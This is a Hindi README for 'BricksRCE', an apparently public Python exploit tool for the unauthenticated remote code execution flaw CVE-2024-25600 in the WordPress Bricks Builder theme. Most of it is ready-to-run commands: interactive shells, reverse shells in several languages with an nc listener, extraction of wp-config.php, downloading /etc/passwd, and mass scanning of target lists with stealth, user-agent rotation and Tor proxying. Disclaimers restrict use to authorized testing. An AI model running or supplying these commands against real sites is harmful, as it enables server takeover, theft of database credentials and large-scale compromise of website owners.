[!IMPORTANT]
केवल अधिकृत उपयोग। यह उपकरण सुरक्षा अनुसंधान, शिक्षा, और उन प्रणालियों के परीक्षण के लिए है जिनके आप स्वामी हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग से उत्पन्न किसी भी देयता को स्वीकार नहीं करता है।
विषय-सूची
अवलोकन
CVE-2024-25600 WordPress Bricks Builder थीम में एक गंभीर, अनप्रमाणित दूरस्थ कोड निष्पादन कमजोरी है। render_element REST एंडपॉइंट में उपयोगकर्ता-नियंत्रित इनपुट के अनुचित हैंडलिंग के कारण, अनप्रमाणित हमलावर प्रभावित इंस्टॉलेशन पर मनमाना PHP/सिस्टम कमांड निष्पादित कर सकते हैं।
BricksRCE एक्सप्लॉइटर (cve-2024-25600.py) अधिकृत सुरक्षा पेशेवरों के लिए एक पूर्ण-विशेषताओं वाला Python मूल्यांकन उपकरण है, जो:
- कमजोर Bricks Builder इंस्टॉलेशन का पता लगाए
- नियंत्रित कमांड निष्पादन के साथ प्रभाव की पुष्टि करे
- इंटरैक्टिव शेल के माध्यम से समझौता किए गए होस्ट के साथ संवाद करे
- एसिंक/थ्रेडेड वर्कर्स के साथ लक्ष्य सूचियों का बड़े पैमाने पर स्कैन करे
- रिपोर्टिंग के लिए संरचित परिणाम निर्यात करे
कमजोरी विवरण
प्रभावित एंडपॉइंट
| एंडपॉइंट | विधि |
|---|
/wp-json/bricks/v1/render_element | POST |
/?rest_route=/bricks/v1/render_element | POST |
हमला सारांश
- लक्ष्य पेज स्रोत से एक Bricks nonce निकालें
- एक दुर्भावनापूर्ण तत्व पेलोड के साथ रचित
render_element अनुरोध सबमिट करें
- सर्वर-साइड कोड मूल्यांकन मनमाना कमांड निष्पादन की ओर ले जाता है
संदर्भ
विशेषताएँ
मुख्य क्षमताएँ
परिचालन नियंत्रण
रिपोर्टिंग
| क्षमता | विवरण |
|---|
| JSON / TXT निर्यात | स्कैन परिणाम और कमजोर लक्ष्य सहेजें |
| कमांड इतिहास | निष्पादित कमांड का वैकल्पिक लॉगिंग |
| फ़ाइल लॉगिंग | स्थायी bricks_rce.log और कस्टम लॉग पथ |
स्थापना
आवश्यक शर्तें
- Python 3.8+
pip
- अधिकृत लक्ष्य(ों) तक नेटवर्क पहुँच
सेटअप
git clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2024-25600.py --help
निर्भरताएँ
requests>=2.31.0
aiohttp>=3.9.0
beautifulsoup4>=4.12.0
lxml>=4.9.0
prompt-toolkit>=3.0.0
rich>=13.7.0
pysocks>=1.7.0 # वैकल्पिक — SOCKS5 प्रॉक्सी समर्थन
त्वरित प्रारंभ
https://target.example को केवल प्रयोगशाला या अधिकृत लक्ष्य से बदलें।
# इंटरैक्टिव शेल
python3 cve-2024-25600.py -u https://target.example
# एकल कमांड
python3 cve-2024-25600.py -u https://target.example --cmd "id"
# बड़े पैमाने पर स्कैन
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json
# संस्करण पता लगाना
python3 cve-2024-25600.py -u https://target.example --detect-version
# Burp प्रॉक्सी के माध्यम से
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
उपयोग गाइड
सभी उदाहरण मुख्य स्क्रिप्ट cve-2024-25600.py का उपयोग करते हैं
1. सहायता दिखाएँ
python3 cve-2024-25600.py --help
2. एकल-लक्ष्य इंटरैक्टिव शेल
लक्ष्य के कमजोर होने की पुष्टि के बाद एक इंटरैक्टिव RCE शेल खोलता है।
python3 cve-2024-25600.py -u https://target.example
कार्यप्रवाह:
- URL को सामान्यीकृत और मान्य करें
- पेज से nonce निकालें
- कमजोरी सत्यापित करें (जब तक
--force न हो)
- इंटरैक्टिव शेल में प्रवेश करें
3. एकल कमांड निष्पादित करें
python3 cve-2024-25600.py -u https://target.example --cmd "whoami"
कमांड आउटपुट को फ़ाइल में सहेजें:
python3 cve-2024-25600.py -u https://target.example --cmd "id" --save-output
4. पेलोड प्रकार चुनें
# डिफ़ॉल्ट PHP अपवाद-आधारित पेलोड
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php
# system() आधारित पेलोड
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system
5. Bricks Builder संस्करण का पता लगाएँ
python3 cve-2024-25600.py -u https://target.example --detect-version
कमांड के साथ संयोजित करें:
python3 cve-2024-25600.py -u https://target.example --detect-version --cmd "id"
6. wp-config.php निकालें
python3 cve-2024-25600.py -u https://target.example --extract-wp-config
सफलता पर wp-config_<target>.txt के रूप में सहेजा जाता है।
7. रिवर्स शेल (केवल अधिकृत प्रयोगशाला)
# टर्मिनल 1 — श्रोता
nc -lvnp 4444
# टर्मिनल 2 — bash रिवर्स शेल
python3 cve-2024-25600.py -u https://target.example \
--reverse-shell bash \
--lhost 10.0.0.5 \
--lport 4444
सभी समर्थित रिवर्स शेल प्रकार:
python3 cve-2024-25600.py -u https://target.example --reverse-shell bash --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby --lhost 10.0.0.5 --lport 4444
8. फ़ोर्स मोड (कमजोरी जांच छोड़ें)
python3 cve-2024-25600.py -u https://target.example --force --cmd "uname -a"
9. फ़ाइल से बड़े पैमाने पर स्कैनिंग
# targets.txt — प्रति पंक्ति एक URL
python3 cve-2024-25600.py -f targets.txt
थ्रेड, विलंब, स्टील्थ और JSON आउटपुट के साथ:
python3 cve-2024-25600.py -f targets.txt \
-t 15 \
--delay 0.5 \
--stealth \
-o vulnerable.json
एसिंक के बजाय सिंक्रोनस (थ्रेड-पूल) स्कैनिंग:
python3 cve-2024-25600.py -f targets.txt --sync -t 10 -o results.txt
शांत बड़े पैमाने पर स्कैन:
python3 cve-2024-25600.py -f targets.txt -q -o results.json
10. एंडपॉइंट चयन
# दोनों एंडपॉइंट (डिफ़ॉल्ट)
python3 cve-2024-25600.py -u https://target.example --endpoint both
# केवल /wp-json/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint json
# केवल /?rest_route=/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route
11. स्टील्थ मोड
python3 cve-2024-25600.py -u https://target.example \
--stealth \
--delay 1.0 \
--max-retries 5 \
--timeout 20
12. कस्टम User-Agent
# कस्टम UA
python3 cve-2024-25600.py -u https://target.example \
--user-agent "Mozilla/5.0 (compatible; SecurityScanner/1.0)"
# यादृच्छिक UA रोटेशन अक्षम करें
python3 cve-2024-25600.py -u https://target.example --no-random-ua
13. प्रॉक्सी समर्थन
# HTTP प्रॉक्सी (जैसे Burp Suite)
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
# SOCKS5 प्रॉक्सी
python3 cve-2024-25600.py -u https://target.example --proxy socks5://127.0.0.1:9050
# SOCKS5h (प्रॉक्सी / Tor के माध्यम से DNS)
python3 cve-2024-25600.py -u https://target.example --proxy socks5h://127.0.0.1:9050
14. SSL सत्यापन
# SSL प्रमाणपत्र सत्यापन सक्षम करें (डिफ़ॉल्ट रूप से अक्षम)
python3 cve-2024-25600.py -u https://target.example --verify-ssl
15. आउटपुट और लॉगिंग
# स्कैन परिणाम JSON के रूप में सहेजें
python3 cve-2024-25600.py -f targets.txt -o results.json
# स्कैन परिणाम TXT के रूप में सहेजें
python3 cve-2024-25600.py -f targets.txt -o results.txt
# कस्टम एप्लिकेशन लॉग फ़ाइल
python3 cve-2024-25600.py -u https://target.example --log-file assessment.log -v
# निष्पादित कमांड लॉग करें
python3 cve-2024-25600.py -u https://target.example --command-log commands.log --cmd "id"
16. वर्बोज़ और शांत मोड
# वर्बोज़ / डीबग लॉगिंग
python3 cve-2024-25600.py -u https://target.example -v
# शांत मोड (न्यूनतम आउटपुट)
python3 cve-2024-25600.py -u https://target.example -q --cmd "id"
17. प्रदर्शन ट्यूनिंग
python3 cve-2024-25600.py -f targets.txt \
-t 25 \
--timeout 20 \
--delay 0.2 \
--max-retries 5 \
-o results.json
18. संयुक्त पूर्ण मूल्यांकन उदाहरण
python3 cve-2024-25600.py -u https://target.example \
--detect-version \
--extract-wp-config \
--stealth \
--delay 0.8 \
--timeout 20 \
--max-retries 5 \
--endpoint both \
--proxy http://127.0.0.1:8080 \
--log-file bricks_assessment.log \
--command-log commands.log \
-v
19. इंटरैक्टिव शेल में निर्मित कमांड
-u के साथ शुरू करने के बाद (बिना --cmd / --reverse-shell):
Shell> whoami
Shell> id
Shell> pwd
Shell> ls -la
Shell> help
Shell> clear
Shell> download /etc/passwd
Shell> upload ./local.txt /tmp/remote.txt
Shell> php id
Shell> system uname -a
Shell> exit
कमांड संदर्भ
लक्ष्य विकल्प
| तर्क | विवरण |
|---|
-u, --url | एकल लक्ष्य URL |
-f, --file | लक्ष्य URL वाली फ़ाइल (प्रति पंक्ति एक) |
स्कैनिंग विकल्प
स्टील्थ विकल्प
शोषण विकल्प
आउटपुट विकल्प
इंटरैक्टिव शेल
जब --cmd या --reverse-shell के बिना एकल लक्ष्य का शोषण किया जाता है, तो एक इंटरैक्टिव शेल खुलता है:
Shell> whoami
www-data
Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell> help
निर्मित कमांड
विशेषताएँ
- कमांड इतिहास
~/.bricks_rce_history में संग्रहीत
- सामान्य कमांड के लिए ऑटोकम्प्लीट
- इतिहास से स्वतः-सुझाव (prompt-toolkit)
आउटपुट और लॉगिंग
कंसोल
Rich-संचालित पैनल, प्रोग्रेस बार और परिणाम तालिकाएँ:
[*] Testing: https://target.example
[+] https://target.example is vulnerable!
[+] Interactive shell opened successfully
स्कैन परिणाम तालिका
JSON निर्यात (-o results.json)
{
"timestamp": "2026-07-17T01:30:00",
"version": "1.0.0",
"config": {
"threads": 10,
"timeout": 15,
"delay": 0.5
},
"stats": {
"processed": 100,
"vulnerable": 3,
"failed": 97
},
"vulnerable_targets": [
{
"url": "https://target.example",
"timestamp": "2026-07-17T01:31:12"
}
]
}
लॉग फ़ाइलें
| फ़ाइल | उद्देश्य |
|---|
bricks_rce.log | डिफ़ॉल्ट केवल-जोड़ें एप्लिकेशन लॉग |
--log-file PATH | अतिरिक्त कस्टम लॉग हैंडलर |
--command-log PATH | निष्पादित कमांड ऑडिट ट्रेल |
समस्या निवारण
डीबग कार्यप्रवाह
# वर्बोज़ एकल-लक्ष्य जाँच
python3 cve-2024-25600.py -u https://target.example --detect-version -v
# अनुरोध निरीक्षण के लिए Burp के माध्यम से
python3 cve-2024-25600.py -u https://target.example \
--proxy http://127.0.0.1:8080 -v --cmd "id"
# किसी विशिष्ट एंडपॉइंट को प्राथमिकता दें
python3 cve-2024-25600.py -u https://target.example --endpoint json -v
रिपॉजिटरी संरचना
exploit/
├── cve-2024-25600.py # BricksRCE एक्सप्लॉइटर (v1.0)
├── requirements.txt # Python निर्भरताएँ
├── README.md # यह फ़ाइल
├── bricks_rce.log # रनटाइम लॉग (उत्पन्न)
└── venv/ # स्थानीय वर्चुअलएनवी (वैकल्पिक, कमिट नहीं)
संस्करण इतिहास
v1.0.0 — प्रारंभिक रिलीज़
- CVE-2024-25600 के लिए अनप्रमाणित RCE पहचान और शोषण
- बहु-विधि nonce निष्कर्षण
- अपलोड / डाउनलोड के साथ इंटरैक्टिव शेल
- एकल-कमांड और रिवर्स-शेल मोड
- एसिंक / थ्रेडेड बड़े पैमाने पर स्कैनिंग
- संस्करण पता लगाना और wp-config निष्कर्षण
- स्टील्थ मोड, UA रोटेशन, प्रॉक्सी समर्थन
- JSON/TXT परिणाम निर्यात के साथ समृद्ध CLI
अस्वीकरण
यह परियोजना जैसी है रक्षात्मक सुरक्षा अनुसंधान और अधिकृत पैठ परीक्षण के लिए प्रदान की गई है।
इस सॉफ़्टवेयर का उपयोग करके आप सहमत हैं कि:
- आप केवल उन प्रणालियों को लक्षित करेंगे जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।
- आप लागू कंप्यूटर-दुरुपयोग और डेटा-सुरक्षा कानूनों को समझते हैं।
- लेखक और योगदानकर्ता दुरुपयोग से होने वाली क्षति, डेटा हानि, या कानूनी परिणामों के लिए जिम्मेदार नहीं हैं।
यदि आप अपने स्वामित्व वाले उत्पादन वातावरण में इस कमजोरी की खोज करते हैं, तो जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें और साइट स्वामी / Bricks Builder सुरक्षा टीम के साथ समन्वय करें।
कंप्यूटर सिस्टम तक अनधिकृत पहुँच एक संघीय अपराध है।
लेखक और श्रेय
लाइसेंस
MIT लाइसेंस
कॉपीराइट (c) 2024–2026 सुदीपा वानिगरथना
इसके द्वारा, किसी भी व्यक्ति को इस सॉफ़्टवेयर और संबंधित दस्तावेज़ फ़ाइलों ("सॉफ़्टवेयर") की एक प्रति प्राप्त करने पर, बिना किसी प्रतिबंध के सॉफ़्टवेयर में कार्य करने की अनुमति निःशुल्क प्रदान की जाती है, जिसमें बिना किसी सीमा के, सॉफ़्टवेयर का उपयोग, प्रतिलिपि, संशोधन, विलय, प्रकाशन, वितरण, उप-लाइसेंस, और/या बेचने के अधिकार, और उन व्यक्तियों को ऐसा करने की अनुमति देना शामिल है जिन्हें सॉफ़्टवेयर प्रदान किया गया है, निम्नलिखित शर्तों के अधीन:
उपरोक्त कॉपीराइट नोटिस और यह अनुमति नोटिस सॉफ़्टवेयर की सभी प्रतियों या महत्वपूर्ण भागों में शामिल किया जाएगा।
सॉफ़्टवेयर "जैसा है" प्रदान किया जाता है, बिना किसी प्रकार की वारंटी के, स्पष्ट या निहित, जिसमें व्यापारिकता, किसी विशेष उद्देश्य के लिए उपयुक्तता और उल्लंघन की गारंटी शामिल है लेकिन इन्हीं तक सीमित नहीं है। किसी भी स्थिति में लेखक या कॉपीराइट धारक किसी भी दावे, क्षति या अन्य देयता के लिए उत्तरदायी नहीं होंगे, चाहे वह अनुबंध, अपकृत्य या किसी अन्य सिद्धांत पर आधारित हो, जो सॉफ़्टवेयर या सॉफ़्टवेयर के उपयोग या अन्य लेन-देन से उत्पन्न होता है।
समर्थन
- यदि यह आपके अधिकृत शोध में सहायक हो तो रिपॉजिटरी को स्टार करें
- बग, गलत सकारात्मकता या पहचान सुधार के लिए मुद्दे खोलें
- दस्तावेज़ीकरण और अधिकृत-प्रयोगशाला UX के लिए पुल अनुरोधों का स्वागत है
केवल अधिकृत सुरक्षा परीक्षण के लिए।